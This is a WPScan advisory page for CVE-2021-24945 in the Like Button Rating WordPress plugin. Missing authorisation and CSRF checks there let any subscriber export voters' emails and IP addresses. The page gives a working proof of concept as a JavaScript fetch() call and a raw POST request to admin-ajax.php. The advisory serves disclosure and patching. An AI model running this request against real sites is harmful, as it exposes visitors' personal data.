WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Like Button Rating < 2.6.38 - Unauthorised Vote Export to Email & IP Addresses Disclosure

Description

The plugin does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.

Proof of Concept

fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"likebtn_export_votes","separator":";","encoding":"utf-8","fields[0]":"user_email","fields[1]":"ip","fields[2]":"country","fields[3]":"date","fields[4]":"item_id"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 161
Connection: close
Cookie: [subscriber+]

action=likebtn_export_votes&separator=%3B&encoding=utf-8&fields%5B0%5D=user_email&fields%5B1%5D=ip&fields%5B2%5D=country&fields%5B3%5D=date&fields%5B4%5D=item_id 

Affects Plugins

likebtn-like-button
Fixed in version 2.6.38

References

CVE
CVE-2021-24945

Classification

Type

SENSITIVE DATA DISCLOSURE

OWASP top 10
A3: Sensitive Data Exposure
CWE
CWE-200

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
d7618061-a7fa-4da4-9384-be19bc5e8548

Timeline

Publicly Published

2021-11-11 (about 1 years ago)

Added

2021-11-11 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us